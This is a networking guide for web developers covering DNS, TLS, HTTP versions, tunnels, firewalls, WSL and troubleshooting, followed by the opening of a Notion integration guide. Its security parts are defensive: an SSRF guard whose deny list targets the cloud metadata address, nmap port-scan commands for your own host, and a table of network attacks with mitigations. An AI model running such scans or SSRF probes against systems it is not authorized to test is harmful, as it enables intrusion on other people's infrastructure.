IPv6-only clients still reach IPv4-only origins such as Vercel, because their carrier runs NAT64/DNS64 and translates. That adds a hop you do not control. If dual-stack reachability matters, put Cloudflare in front: the proxied hostname gets an AAAA, and Cloudflare talks IPv4 to Vercel. See the Cloudflare + Vercel note.


Ports and sockets

A socket is the five-tuple {protocol, source IP, source port, destination IP, destination port}. A server binds and listens on a well-known port; a client connects from an ephemeral port. IANA (RFC 6335) splits the port space into three ranges:

Port Service Note
22 SSH Keys only, never password auth. Better: no public 22 at all (Tailscale SSH or Cloudflare Access)
25 / 465 / 587 SMTP / SMTPS / submission 587 is the modern submission port; many hosts block outbound 25
53 DNS UDP first, TCP fallback for large responses (RFC 7766)
80 HTTP Keep it open only to redirect to HTTPS and to serve ACME HTTP-01. Vercel answers 308
443 HTTPS TCP for HTTP/1.1 and HTTP/2, UDP for HTTP/3/QUIC
853 DNS-over-TLS RFC 7858
3000 Next.js dev Local only
5432 Postgres Supabase / Neon. Never open it to 0.0.0.0/0
6379 Redis Treat as internal-only

Two rules prevent most self-inflicted outages:

  1. Bind to 127.0.0.1 for anything that does not need to be public. On a cloud VM, a service bound to 0.0.0.0 is on the internet as soon as the security group allows it.
  2. Open ports are inventory. You cannot defend a listener you did not know existed. Check with ss -tlnp (Linux) or Get-NetTCPConnection -State Listen (Windows).

DNS

DNS turns a name into an address (RFC 1035; terminology in RFC 9499). Four roles are involved, and mixing them up causes most "it works for me" reports.

flowchart TD
  A["Application<br/>getaddrinfo / fetch"] --> B["Stub resolver<br/>OS cache"]
  B --> C["Recursive resolver<br/>ISP · 1.1.1.1 · 8.8.8.8<br/>owns the TTL cache"]
  C -->|"cache miss"| D["Root servers<br/>. → 'ask .org'"]
  D --> E["TLD servers<br/>.org → 'ask the zone's NS'"]
  E --> F["Authoritative NS<br/>your zone: the only source of truth"]
  F -->|"answer + TTL"| C
  C -->|"cached answer"| B
  B --> A

A record only changes on the authoritative nameserver. Everything between it and the user is a cache. "DNS propagation" is not a push. It is recursive resolvers around the world expiring their cached copy once the record's TTL runs out. That is the whole mechanism, and it leads to the operational rule below.

Record types

Type Points at Notes
A IPv4 address Apex domains on Vercel use an A record. Copy the value from Settings → Domains; Vercel's KB still cites 76.76.21.21
AAAA IPv6 address Not usable for Vercel origins (IPv4-only). Cloudflare adds one automatically for proxied names
CNAME Another name Cannot share a name with other records, and cannot sit at the zone apex (RFC 1034 §3.6.2). Providers work around this with CNAME flattening / ALIAS / ANAME. Vercel subdomain targets are per-project and end in a dot (absolute)
MX Mail exchanger + priority Lower number wins (RFC 5321). Vercel provides no mail service
TXT Arbitrary text Ownership proofs, SPF (RFC 7208), DKIM (RFC 6376), DMARC (RFC 9989, May 2026, which obsoletes RFC 7489)
CAA Which CAs may issue for this name RFC 8659: issue / issuewild / iodef. CAA lookups follow CNAMEs and climb to parent names
NS Delegation to authoritative servers Changing these at the registrar moves the whole zone (24–48 h)
SOA Zone metadata Serial, refresh, negative-cache TTL
SRV Service host and port For protocols that need port discovery
HTTPS / SVCB Connection hints before the first request RFC 9460: ALPN (h3), IP hints, and the ECH config browsers need to encrypt SNI
PTR Reverse: address → name Lives in the IP owner's zone, not yours

Two TXT records everyone gets wrong. SPF must be one TXT record per domain; two v=spf1 records is a permanent error. DMARC lives at _dmarc.example.com, not at the apex.

The TTL rule

Lower the TTL before you change anything.

# 1. ~24 h before a cutover: drop TTL to 60–300 s on the records you will change,
#    then wait for the OLD TTL to fully elapse.
# 2. Make the change.
# 3. Verify from multiple resolvers.
# 4. Once stable, raise TTL back to 3600+.

You cannot shorten a TTL after the fact. A resolver that cached the old record with an 86400 s TTL will keep it for up to a day, whatever you do next. That is why a rushed DNS cutover becomes a multi-hour outage and a planned one goes unnoticed. Vercel DNS defaults to a 60 s TTL; the allowed range is 30 s to 86400 s.

Diagnosing DNS

# What does the authoritative server say? (bypasses every cache: the ground truth)
dig +short NS codeamanilabs.org
dig @<authoritative-ns> tech-stack.codeamanilabs.org A

# What does the world see? Query specific public resolvers.
dig @1.1.1.1 tech-stack.codeamanilabs.org A +short
dig @8.8.8.8 tech-stack.codeamanilabs.org A +short

# Full delegation path, root → TLD → authoritative
dig +trace tech-stack.codeamanilabs.org

# Other record types
dig codeamanilabs.org MX +short
dig codeamanilabs.org CAA +short
dig codeamanilabs.org HTTPS +short
dig _dmarc.codeamanilabs.org TXT +short
Resolve-DnsName tech-stack.codeamanilabs.org -Type A -Server 1.1.1.1
Clear-DnsClientCache   # flushes the local stub cache only, not the recursive resolver

If dig @<authoritative-ns> is right but dig @1.1.1.1 is wrong, you are waiting on TTL. Do nothing. If the authoritative answer itself is wrong, fix the record. This one test separates "be patient" from "act", and it is the most useful thing in this guide.


TLS and HTTPS

TLS 1.3 (RFC 8446) authenticates the server, agrees on keys, and encrypts everything that follows. A full handshake takes one round trip before application data. A resumed session can send 0-RTT early data, but that data can be replayed, so never put a non-idempotent request in 0-RTT.

sequenceDiagram
  participant C as Client
  participant S as Server
  C->>S: TCP SYN → SYN/ACK → ACK
  C->>S: ClientHello (SNI or ECH, ALPN=[h2,http/1.1], key_share X25519MLKEM768)
  S->>C: ServerHello (key_share) + {Certificate, CertificateVerify, Finished}
  Note over C,S: Client validates chain to a trusted root,<br/>checks hostname against SAN, checks validity dates
  C->>S: {Finished}
  C->>S: {HTTP request}, encrypted
  S->>C: {HTTP response}, encrypted

Four fields in ClientHello do most of the work:

Certificates: what validation actually checks

A certificate is trusted only if all of these hold. If any one fails, validation fails hard, and the error message rarely says which check failed.

  1. Chain of trust: leaf → intermediate(s) → a root in the client's trust store. The most common production TLS bug is a server that sends the leaf but leaves out the intermediate. Browsers often cover for it by fetching the intermediate themselves (AIA fetching); curl, Node and mobile SDKs do not. Symptom: "works in Chrome, fails in the app".
  2. Hostname match: the requested name must appear in the certificate's Subject Alternative Name list (RFC 9525). Clients no longer match on the legacy Common Name.
  3. Validity window: notBefore ≤ now ≤ notAfter. Expiry is an outage, so renewal must be automated.
  4. Transparency: modern browsers require Certificate Transparency SCTs.

Certificate lifetimes are collapsing — automate or break

Date (issuance) Max publicly-trusted TLS cert lifetime Source
until 2026-03-14 398 days CA/B Forum Baseline Requirements
from 2026-03-15 200 days Ballot SC-081v3
from 2027-03-15 100 days SC-081v3
from 2029-03-15 47 days (domain-validation reuse: 10 days) SC-081v3

Let's Encrypt, which Vercel uses, has its own schedule:

Let's Encrypt recommends ACME Renewal Information (ARI) for timing renewals. Without ARI, renew at about two-thirds of a certificate's lifetime, not on a fixed 60-day timer.

On Vercel, Netlify, Cloudflare and Render this is handled for you. Your part is making sure renewal cannot be blocked:

Monitor for failed renewal, not for "30 days left": examples/cert-check.mts exits non-zero when less than a quarter of a certificate's lifetime remains.

# Full handshake detail: chain, SANs, protocol, cipher, key-exchange group
openssl s_client -connect tech-stack.codeamanilabs.org:443 \
  -servername tech-stack.codeamanilabs.org -showcerts </dev/null

# Just the dates and names
echo | openssl s_client -connect example.com:443 -servername example.com 2>/dev/null \
  | openssl x509 -noout -subject -issuer -dates -ext subjectAltName

# Programmatic: chain + SAN + days left, exit 1 on failure (Node >= 23.6 runs .mts directly)
node networking/examples/cert-check.mts tech-stack.codeamanilabs.org

Hardening checklist


HTTP/1.1, HTTP/2, HTTP/3

HTTP/1.1 HTTP/2 (RFC 9113) HTTP/3 (RFC 9114)
Transport TCP TCP QUIC over UDP (RFC 9000)
Framing Text Binary frames Binary frames on QUIC streams
Concurrency One request in flight per connection; browsers open ~6 per origin Multiplexed streams on one connection Multiplexed, independent streams
Head-of-line blocking At the request level Gone at the HTTP level, still there at the TCP level: one lost segment stalls every stream Gone: a lost packet stalls only its own stream
Header compression None HPACK QPACK
Handshake TCP + TLS separately TCP + TLS separately TLS 1.3 built into the QUIC handshake
Connection migration No No Yes: the connection ID survives an IP change
Discovery default ALPN h2 Alt-Svc: h3=":443" header, or a DNS HTTPS record

A client cannot negotiate HTTP/3 in-band on its first connection the way it can h2, because HTTP/3 uses a different transport. It learns about HTTP/3 from an Alt-Svc response header (RFC 7838) or from an HTTPS/SVCB DNS record (RFC 9460) that advertises alpn=h3.

Who serves h3 for codeAmani today:

If HTTP/3 matters, for example for Kenya-targeted traffic, put Cloudflare in front.

# Which protocol did you actually get?
curl -sI --http2 https://example.com -o /dev/null -w "%{http_version}\n"
curl -sI --http3-only https://example.com -o /dev/null -w "%{http_version}\n"   # needs an HTTP/3-capable curl

# Is HTTP/3 advertised?
curl -sI https://example.com | grep -i alt-svc
dig example.com HTTPS +short

# Timing breakdown: where the milliseconds go
curl -s -o /dev/null -w "dns=%{time_namelookup} connect=%{time_connect} tls=%{time_appconnect} ttfb=%{time_starttransfer} total=%{time_total}\n" https://example.com

That last command is the most useful one-liner in this document. In one request it tells you whether a "slow site" complaint is a DNS problem, a TCP round-trip problem, a TLS problem, or an origin problem.


Long-lived connections: WebSockets and SSE

Server-Sent Events WebSocket (RFC 6455)
Direction Server → client only Bidirectional
Wire Plain HTTP response, Content-Type: text/event-stream HTTP GET + Upgrade: websocket, then framed TCP
Reconnect Built in. EventSource reconnects and resends the last id: as Last-Event-ID; retry: sets the delay You write it: backoff, resubscribe, reload state
Proxies / middleboxes Pass through like any HTTP response (send Cache-Control: no-transform) Some corporate proxies break the upgrade
Browser limit 6 per browser + domain over HTTP/1.1; negotiated (default 100) over HTTP/2 No per-domain cap of note
CORS Applies (EventSource with withCredentials) Does not apply. Check Origin yourself
Fit Token streaming (AI), live feeds, order status Chat, collaboration, games, presence

Pick SSE unless you genuinely need client → server messages on the same channel. For codeAmani's main realtime cases (streaming Claude output, M-Pesa payment status, dispatch updates), the client's messages can go over ordinary POSTs. On a flaky mobile link, SSE's built-in resume is worth more than a bidirectional channel. See examples/sse-route.ts.

WebSockets on Vercel Functions (public beta)

Vercel announced WebSocket support for Functions on 2026-06-22 as a public beta on all plans. Python support followed on 2026-07-23. The rules, from https://vercel.com/docs/functions/websockets:

The Edge runtime is on its way out

Vercel's docs now say: "We recommend migrating from edge to Node.js for improved performance and reliability. Both runtimes run on Fluid compute with Active CPU pricing", and "Starting in Next.js 16.3, setting runtime = 'edge' is no longer supported." (Current Next.js: 16.4.2.)

For networking code, that means you can use node:net, node:tls, node:dns and undici dispatchers in route handlers. Those are exactly what safe-fetch.ts and cert-check.mts need, and the Edge runtime never offered them. Remove export const runtime = 'edge' when you touch a route.


CORS

CORS is a browser rule. It decides whether page JavaScript may read a cross-origin response. It is not server-side access control: curl ignores it completely, so never rely on it in place of authentication.

// Minimal allowlist CORS for a Next.js route handler (Node.js runtime).
const ALLOWED = new Set(["https://app.example.com", "https://admin.example.com"]);

export function corsHeaders(origin: string | null): Record<string, string> {
  if (!origin || !ALLOWED.has(origin)) return { Vary: "Origin" };
  return {
    "Access-Control-Allow-Origin": origin,
    "Access-Control-Allow-Credentials": "true",
    "Access-Control-Allow-Methods": "GET, POST, OPTIONS",
    "Access-Control-Allow-Headers": "Content-Type, Authorization",
    "Access-Control-Max-Age": "600",
    Vary: "Origin",
  };
}

export async function OPTIONS(request: Request): Promise<Response> {
  return new Response(null, { status: 204, headers: corsHeaders(request.headers.get("origin")) });
}

CDNs and the edge

A CDN terminates TLS at a point of presence (PoP) close to the user, serves cacheable responses from there, and keeps warm connections open back to the origin. The win is not only bytes; it is round trips. On a 3G link with 200–400 ms RTT, moving the TLS handshake from a US origin to a nearby PoP saves more wall-clock time than any payload optimisation.

curl -sI https://tech-stack.codeamanilabs.org | grep -Ei "cf-ray|cf-cache-status|x-vercel-cache|x-vercel-id|age|cache-control"
Header Meaning
x-vercel-cache: HIT / MISS / STALE Vercel CDN cache outcome
x-vercel-id: iad1::… Vercel region(s) that handled the request
cf-cache-status: HIT / MISS / DYNAMIC / BYPASS Cloudflare cache outcome
cf-ray: …-NBO Cloudflare ray ID; the suffix is the PoP's IATA code (NBO = Nairobi)
age Seconds the response has been in cache

When a name is proxied through Cloudflare (orange cloud), dig returns Cloudflare's anycast address, not your origin. That is expected, not a misconfiguration. Vercel's apex IPs are anycast too. See cloudflare for SSL modes. Use Full (strict) so the Cloudflare ↔ origin hop is also verified.


Local tunnels: ngrok, Cloudflare Tunnel, Tailscale

M-Pesa (Daraja) and Stripe call your HTTPS URL. A laptop behind NAT has no such URL, so a tunnel opens an outbound connection to a relay and accepts traffic back through it.

ngrok (agent 3.39.x) Cloudflare Quick Tunnel Cloudflare named Tunnel Tailscale Funnel
Command ngrok http 3000 cloudflared tunnel --url http://localhost:3000 cloudflared tunnel run <name> tailscale funnel --bg 3000
URL Free: one assigned dev domain (*.ngrok-free.app); custom domains are paid Random *.trycloudflare.com, new every run Your own hostname on a Cloudflare zone <machine>.<tailnet>.ts.net
Account Required (authtoken) None Cloudflare account + zone Tailscale account; MagicDNS + HTTPS + funnel node attribute
Limits Free: 3 endpoints, 1 GB/month out, 20,000 HTTP requests/month (4,000/min), 5,000 TCP conns/month 200 in-flight requests (then 429), no SSE, no uptime guarantee Production-grade Ports 443/8443/10000 only, TLS only, non-configurable bandwidth limits
Browser interstitial Yes on free. Skip with the ngrok-skip-browser-warning header (any value) or a non-browser User-Agent; API callers are unaffected No No No
Best for Daraja/Stripe webhook dev, request inspector at http://127.0.0.1:4040 Throwaway demo of a page Staging hooks, internal tools on your domain Sharing from a box already on your tailnet
# ngrok: one-time auth, then expose port 3000
ngrok config add-authtoken <your-ngrok-authtoken>
ngrok http 3000
# Pin to your free dev domain so the Daraja CallBackURL doesn't change every run
ngrok http 3000 --url https://<your-assigned-name>.ngrok-free.app

# Cloudflare named tunnel (locally managed)
cloudflared tunnel login
cloudflared tunnel create codeamani-dev
cloudflared tunnel route dns codeamani-dev hooks-dev.example.com
cloudflared tunnel run codeamani-dev

# Tailscale: private to your tailnet (Serve) vs public (Funnel)
tailscale serve --bg 3000      # tailnet only
tailscale funnel --bg 3000     # public internet
tailscale funnel status
tailscale funnel reset

Tunnel rules:


Firewalls

Default-deny inbound. Allow only what a service needs, from only where it needs it.

Where Tool Rule of thumb
Cloud VM Provider security group / firewall Inbound 443 (+80 for redirect/ACME) from anywhere; 22 from nowhere (use Tailscale SSH or Cloudflare Access); DB ports from the app subnet only
Linux host ufw / nftables ufw default deny incoming && ufw allow 443/tcp && ufw enable. Docker-published ports bypass ufw because Docker writes its own iptables rules, so bind containers to 127.0.0.1:
Vercel Vercel Firewall (WAF, rate limits, IP blocks) Rules also apply to WebSocket upgrade requests
Cloudflare WAF / rate limiting / Access Put admin surfaces behind Access instead of an "unguessable" path
Windows / WSL Windows Defender Firewall + Hyper-V firewall WSL 2.0.9+ on Windows 11 22H2+ filters WSL traffic through the Hyper-V firewall by default
Managed Postgres Supabase / Neon network restrictions Allowlist egress IPs; TLS required

WSL networking (Windows dev boxes)

WSL 2 runs in a lightweight VM. The networking mode decides how Windows, Linux and your LAN see each other.

NAT (default) Mirrored (recommended)
Enable default .wslconfig → [wsl2] networkingMode=mirrored, then wsl --shutdown
Requires — Windows 11 22H2+
Windows → Linux server localhost works (localhostForwarding=true) localhost works
Linux → Windows server Use the host IP: ip route show | grep -i default | awk '{ print $3}' 127.0.0.1 works (::1 does not)
IPv6 inside Linux No Yes
VPN compatibility Often broken Improved
LAN → WSL (phone testing) netsh interface portproxy to the VM IP, which changes on restart Direct, once a Hyper-V firewall rule allows it

Related .wslconfig keys (all [wsl2], Windows 11 22H2+):

Mirrored-only extras go under [experimental]: ignoredPorts and hostAddressLoopback. A ready file is in reference/wslconfig-mirrored.ini. Other networkingMode values: none, nat, bridged (deprecated since WSL 2.4.5), consomme (formerly virtioproxy; NAT falls back to it since WSL 2.3.25).

To let a phone on the same Wi-Fi load next dev running in mirrored-mode WSL, run next dev -H 0.0.0.0 and add a scoped Hyper-V firewall rule from an admin PowerShell:

New-NetFirewallHyperVRule -Name "NextDev" -DisplayName "Next dev 3000" -Direction Inbound `
  -VMCreatorId '{40E0AC32-46A5-438A-A0B2-2B479E8F2E90}' -Protocol TCP -LocalPorts 3000
# Remove it afterwards
Remove-NetFirewallHyperVRule -Name "NextDev"

Prefer a port-scoped rule over Microsoft's blanket Set-NetFirewallHyperVVMSetting … -DefaultInboundAction Allow. The blanket setting opens every WSL port to the LAN.


Diagnostics: which layer is lying?

Work bottom-up. Each command clears one layer, so the first failure tells you where the fault is.

# L3: is the host routable at all?
ping -c 4 1.1.1.1                  # raw IP: no DNS involved
traceroute -n example.com          # hop-by-hop path; * * * means filtered ICMP, not always a fault
mtr -rw example.com                # traceroute + loss stats over time (best for flaky links)

# L4: is the port open?
nc -vz example.com 443
# PowerShell: Test-NetConnection example.com -Port 443

# What is listening locally, and which process owns it?
ss -tlnp
ss -tunap | grep :5432

# L7: the full story of one request
curl -v https://example.com
curl -sSL -o /dev/null -w "%{http_code} %{num_redirects} %{url_effective}\n" http://example.com
Symptom Most likely layer Next command
Could not resolve host DNS dig @1.1.1.1 <name> then dig @<authoritative-ns> <name>
Connection refused Transport: nothing listening ss -tlnp on the host
Connection timed out Firewall / security group silently dropping traceroute, then check the security group
certificate verify failed / UNABLE_TO_VERIFY_LEAF_SIGNATURE TLS chain openssl s_client -showcerts
ERR_TLS_CERT_ALTNAME_INVALID Hostname not in SAN Add the hostname to the platform's domain list
Works in browser, fails in curl/app Missing intermediate certificate Serve the full chain
Right in dig @ns, wrong for users DNS TTL still counting down Wait; do not re-edit the record
WebSocket closes after a few minutes on Vercel Function max duration reached Expected; reconnect with backoff
SSE works locally, never streams through a tunnel Cloudflare Quick Tunnel (no SSE) or a buffering proxy Use ngrok/named tunnel; send Cache-Control: no-transform
Fast locally, slow in production RTT / cache miss curl -w timing breakdown

Scanning, authorized only

nmap is a legitimate inventory tool for systems you own or have explicit written permission to test. Unauthorized port scanning is unlawful in many jurisdictions and breaks most providers' terms of service. Read https://nmap.org/book/legal-issues.html before pointing it anywhere.

# Legitimate use: audit YOUR OWN host's exposed surface from outside it.
nmap -Pn -p 1-1024 <your-own-host>
nmap --script ssl-enum-ciphers -p 443 <your-own-host>

Use the alternatives when you can. ss -tlnp on the box itself is faster and more accurate, and needs no permission conversation. Your cloud provider's security-group list is the authoritative answer to "what is exposed".


Network-layer risks and their mitigations

These are defensive measures only: each row is a risk you close on your own infrastructure.

Risk Why it happens Mitigation
Open ports / exposed services Service bound to 0.0.0.0; a 0.0.0.0/0 rule left over from debugging; Docker bypassing ufw Bind internal services to 127.0.0.1; default-deny inbound; audit with ss -tlnp; put admin surfaces behind Tailscale or Cloudflare Access
Weak / misconfigured TLS Legacy versions enabled; missing intermediate; renewal blocked TLS 1.2 minimum; serve the full chain; keep CAA and the ACME path clear; alert on failed renewal (cert-check.mts)
DNS hijacking (registrar/zone takeover) Registrar account compromise, or a stale CNAME to a deprovisioned host that an attacker re-claims 2FA + registrar lock (porkbun); publish CAA; delete DNS records when you tear down what they point at
DNS spoofing / cache poisoning Plaintext UDP:53 answers are forgeable on hostile networks DNSSEC (RFC 4033) on your zone; DoH (RFC 8484) / DoT (RFC 7858) on clients you control
SSRF: server fetches an attacker-chosen URL Any endpoint that takes a URL: webhook-target config, image import, link unfurling, "test my callback" Host allowlist; validate the resolved IP inside the connection's own lookup; refuse redirects; https only. OWASP Top 10:2025 files this under A01 Broken Access Control. Detail below
Cross-site WebSocket hijacking CORS does not protect WebSockets; cookies ride along on the upgrade Check Origin and authenticate the upgrade request
MITM on hostile networks Public Wi-Fi, transparent proxies, captive portals HTTPS everywhere + HSTS; never disable certificate verification
Credentials on the wire Postgres/Redis exposed publicly; API keys in query strings (they land in every access log) TLS on DB connections (sslmode=require or stricter); keys in Authorization headers, never in URLs
Forgotten tunnels A dev tunnel left running exposes an unauthenticated local server Stop tunnels after use; verify webhook signatures even in dev
Amplification / volumetric abuse Unauthenticated endpoints that do real work Rate limit at the edge (Vercel Firewall / Cloudflare); keep expensive routes behind auth

SSRF: the pattern that matters for webhook and callback endpoints

The dangerous shape is outbound traffic to a URL that a user supplied. From inside a cloud network, http://169.254.169.254/ and http://10.x.x.x/ are reachable and often unauthenticated. A naïve fetch(userUrl) hands an attacker your internal network.

The previous version of this guide resolved the hostname, checked the IP, then called fetch. That leaves a DNS-rebinding gap: the resolver can answer with a public IP for your check and a private one for the connection. examples/safe-fetch.ts closes the gap. It gives an undici Agent a custom connect.lookup, so the address that gets checked is the address that gets dialled:

// Excerpt from networking/examples/safe-fetch.ts (undici@8.12.3)
import { lookup as dnsLookup, type LookupAddress } from "node:dns";
import { BlockList, isIP, type LookupFunction } from "node:net";
import { Agent, fetch } from "undici";

const DENY = new BlockList();
DENY.addSubnet("10.0.0.0", 8, "ipv4");
DENY.addSubnet("169.254.0.0", 16, "ipv4"); // cloud metadata
// ...the rest of the ranges table...
// Do NOT add ::ffff:0:0/96: BlockList already matches IPv4-mapped IPv6 against
// the IPv4 rules, and that rule would match every plain IPv4 address too.

const guardedLookup: LookupFunction = (hostname, options, callback) => {
  dnsLookup(hostname, { ...options, all: true }, (err, addresses: LookupAddress[]) => {
    if (err) return callback(err, "", 0);
    if (addresses.some((a) => DENY.check(a.address, isIP(a.address) === 6 ? "ipv6" : "ipv4"))) {
      return callback(new Error(`refusing to connect to ${hostname}`), "", 0);
    }
    if (options.all) return callback(null, addresses);
    return callback(null, addresses[0]!.address, addresses[0]!.family);
  });
};

const agent = new Agent({ connect: { lookup: guardedLookup, timeout: 5_000 } });

export async function safeFetch(rawUrl: string) {
  const url = new URL(rawUrl);
  if (url.protocol !== "https:") throw new Error("only https");
  const res = await fetch(url, { dispatcher: agent, redirect: "manual" });
  if (res.status >= 300 && res.status < 400) throw new Error("redirect refused");
  return res;
}

The full file also enforces:

Tested 2026-10-20: 169.254.169.254, localtest.me (resolves to 127.0.0.1), http: URLs and a 302 redirect are all refused, and https://example.com returns 200.

Application checks are defence in depth. The durable control is network egress policy: the request-handling process should be unable to reach internal ranges whatever the code does. Inbound webhooks are the mirror-image problem, handled by signature verification rather than URL validation; see webhooks and security.


codeAmani notes

The deploy path: Porkbun → Cloudflare → Vercel

This is the sequence that wires up a codeAmani property, and the order matters.

  1. Registrar. The name lives at Porkbun, and the porkbun-dns skill edits records programmatically. Registrar lock + 2FA on that account is the root of trust for the whole domain: whoever controls it controls your DNS, and therefore your certificates.
  2. DNS. Use either Porkbun's nameservers or Cloudflare's.
    • Apex → A record with the value from Vercel Settings → Domains (the KB still cites 76.76.21.21).
    • Subdomain → CNAME to the per-project Vercel target. Copy it exactly, including the trailing dot.
    • No AAAA to Vercel. Vercel is IPv4-only.
  3. TLS. Vercel issues and renews certificates automatically through Let's Encrypt (HTTP-01; DNS-01 for wildcards). If you publish CAA, include 0 issue "letsencrypt.org". Keep /.well-known/acme-challenge/* reaching Vercel on port 80 with no proxy redirect or cache, or renewal will fail as lifetimes shrink.
  4. Verify before declaring done. dig @<authoritative-ns> for truth, dig @1.1.1.1 for reach, and node networking/examples/cert-check.mts <host> for the chain. A green dashboard and a wrong CAA record look the same until the first renewal.

If you proxy through Cloudflare in front of Vercel:

Realtime on Vercel

Security

Kenya-targeted projects: the bandwidth angle

On 2G/3G links, latency and packet loss decide whether an app feels usable, not throughput. Round trips are the budget.


Troubleshooting

Issue Fix
Record changed but users still see the old value TTL has not expired. Confirm with dig @<authoritative-ns>, then wait; re-editing changes nothing
CNAME rejected at the apex Not allowed in DNS. Use an A record, or the provider's ALIAS/ANAME/flattening
Want AAAA for a Vercel domain Not supported by Vercel. Proxy through Cloudflare for IPv6
Certificate issuance/renewal fails Check dig <domain> CAA +noall +answer (and parents); check that /.well-known/acme-challenge/ reaches Vercel on :80 without redirects; for wildcards, check _acme-challenge delegation
curl says certificate verify failed, browser is fine Server omits the intermediate. Serve the full chain
ERR_SSL_PROTOCOL_ERROR on a proxied domain Cloudflare SSL mode vs origin mismatch; use Full (strict). On one network only: TLS inspection or a filter on that network
Webhook works in production, never fires locally Dev box is behind NAT. Tunnel it (ngrok http 3000) and register the HTTPS URL
ngrok URL returns an HTML warning page to a webhook test Free-plan interstitial. Send ngrok-skip-browser-warning: 1 (real API callers aren't affected)
SSE stream never arrives through trycloudflare.com Quick Tunnels don't support SSE. Use ngrok or a named tunnel
WebSocket handshake fails on ws:// / http:// Vercel 308-redirects to HTTPS and WebSockets don't follow redirects. Use wss://
WebSocket state lost after reconnect/deploy Connections pin to one instance; reconnects may land elsewhere. Move state to Redis
runtime = 'edge' route suddenly runs on Node Expected on Next.js ≥ 16.3. Remove the export
CORS error only when logged in Access-Control-Allow-Origin: * with credentials. Reflect the allowlisted origin and add Vary: Origin
WSL can't reach a Windows service on localhost NAT mode. Switch to networkingMode=mirrored, or use the host IP from ip route
Phone on Wi-Fi can't reach next dev in WSL Bind -H 0.0.0.0, use mirrored mode, and add a port-scoped New-NetFirewallHyperVRule
.wslconfig edit has no effect wsl --shutdown, or wait ~8 s after closing every distro shell
traceroute shows * * * for the last hops ICMP filtered; normal for cloud hosts. Test the port with nc -vz instead
Two v=spf1 TXT records on one domain Permanent SPF error. Merge into one
ss shows nothing but the service "is running" It bound to 127.0.0.1 inside a container's namespace. Check the bind address and Docker's publish flags

Official docs:

Notion Integration Guide

Technology: notion · Category: docs · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/notion

Insight:

Notion is the docs / PM hub — automate status reports, spec-to-ticket conversion, and knowledge capture via the hosted MCP (https://mcp.notion.com/mcp, OAuth); the open-source local MCP server is no longer maintained. In code, use @notionhq/client 5.27.x pinned to Notion-Version: 2026-03-11 (the SDK still defaults to 2025-09-03): a database is a container of data sources, so query dataSources.query, trash with in_trash, and insert blocks with position. Rate limits are now plan-based (180 req/min per connection, 600 on Business/Enterprise) plus a shared per-workspace cap, and multi-member Free workspaces hit a 1,000-block limit through the API. Verify webhooks with verifyWebhookSignature(). Keep customer PII off synced pages (KDPA for Kenya-targeted projects).

███╗   ██╗ ██████╗ ████████╗██╗ ██████╗ ███╗   ██╗
████╗  ██║██╔═══██╗╚══██╔══╝██║██╔═══██╗████╗  ██║
██╔██╗ ██║██║   ██║   ██║   ██║██║   ██║██╔██╗ ██║
██║╚██╗██║██║   ██║   ██║   ██║██║   ██║██║╚██╗██║
██║ ╚████║╚██████╔╝   ██║   ██║╚██████╔╝██║ ╚████║
╚═╝  ╚═══╝ ╚═════╝    ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝

Notion Integration Guide

Focus: Automating documentation, project management, and knowledge-base workflows from Claude Code with the hosted Notion MCP and the Notion REST API (@notionhq/client).

Overview

Notion is an all-in-one workspace for docs, databases, wikis, and project management. It now has five developer surfaces, and picking the right one saves a lot of work:

Surface What it is Use it for
Notion MCP (hosted) Remote MCP server at https://mcp.notion.com/mcp, OAuth, Markdown-native tools Driving Notion conversationally from Claude Code, Cursor, Codex
REST API (@notionhq/client, notion-client) https://api.notion.com/v1, versioned by the Notion-Version header App code, CI scripts, Claude Code hooks
Webhooks Signed HTTP POSTs when pages, data sources, comments, views or file uploads change Reacting to workspace changes without polling
Notion Workers (beta) Notion-hosted TypeScript programs (@notionhq/workers, deployed with the ntn CLI) Scheduled syncs into Notion, tools for Custom Agents, inbound webhooks
Notion Agent APIs (public beta) Sessions/agents endpoints for Custom Agents Bringing a Custom Agent into Slack, an internal tool, or a mobile client

Terminology changed in 2026. Notion's docs now say connection where they used to say integration: an internal connection (one workspace, static ntn_… token, acts as its own bot), a public connection (OAuth, installs into many workspaces), and the new personal access token (PAT, acts as you). You manage all of them in the Developer portal (https://app.notion.com/developers; the old notion.so/profile/integrations links redirect there).

flowchart LR
  CC["Claude Code"] -->|"OAuth"| MCP["Hosted Notion MCP<br/>mcp.notion.com/mcp"]
  App["Your app / CI"] -->|"Bearer token + Notion-Version"| API["Notion REST API"]
  MCP --> WS["Notion workspace"]
  API --> WS
  WS -->|"signed webhook"| Hook["/api/webhooks/notion"]
  WS --> DB["Database<br/>holds data sources<br/>holds rows (pages)"]

Versions at a glance (verified 2026-10-20)

Thing Current Notes
Latest Notion-Version header 2026-03-11 Required on every REST request. Breaking changes vs 2025-09-03: archived→in_trash, append after→position, transcription block→meeting_notes
Data-source model since 2025-09-03 A database is a container of one or more data sources
@notionhq/client (npm) 5.27.1 (2026-10-16) Supports 2026-03-11 since 5.12.0, but its default is still 2025-09-03, so set notionVersion explicitly. Node ≥ 18
notion-client (PyPI) 3.1.0 (2026-05-12) Data-source model; default version 2025-09-03
@notionhq/notion-mcp-server (npm) 2.5.2 No longer actively maintained; use the hosted MCP
ntn (Notion CLI, npm) 0.23.20 Workers, ntn api … requests, file uploads. Node 22+ for the npm install
@notionhq/workers (npm) 0.9.3 Workers runtime library (beta)

Official Documentation

Resource URL
Notion Developers https://developers.notion.com
API reference https://developers.notion.com/reference
API versioning https://developers.notion.com/reference/versioning
Upgrade guide 2026-03-11 https://developers.notion.com/guides/get-started/upgrade-guide-2026-03-11
Upgrade guide 2025-09-03 (data sources) https://developers.notion.com/guides/get-started/upgrade-guide-2025-09-03
Request limits https://developers.notion.com/reference/request-limits
Webhooks https://developers.notion.com/reference/webhooks
Files and media https://developers.notion.com/guides/data-apis/working-with-files-and-media
Markdown content API https://developers.notion.com/guides/data-apis/working-with-markdown-content
Notion MCP https://developers.notion.com/guides/mcp/overview
Notion Agent APIs https://developers.notion.com/guides/notion-agent-apis/overview
Notion Workers https://developers.notion.com/workers/get-started/overview
Changelog https://developers.notion.com/page/changelog
JS SDK https://github.com/makenotion/notion-sdk-js

MCP Server Setup

claude mcp add --transport http notion https://mcp.notion.com/mcp

Then run /mcp inside Claude Code and finish the OAuth flow. Add --scope project to share it through .mcp.json (see examples/mcp-config.json), or --scope user for every project. Notion also ships a Claude Code plugin (makenotion/claude-code-notion-plugin) that bundles the server, Skills, and slash commands.

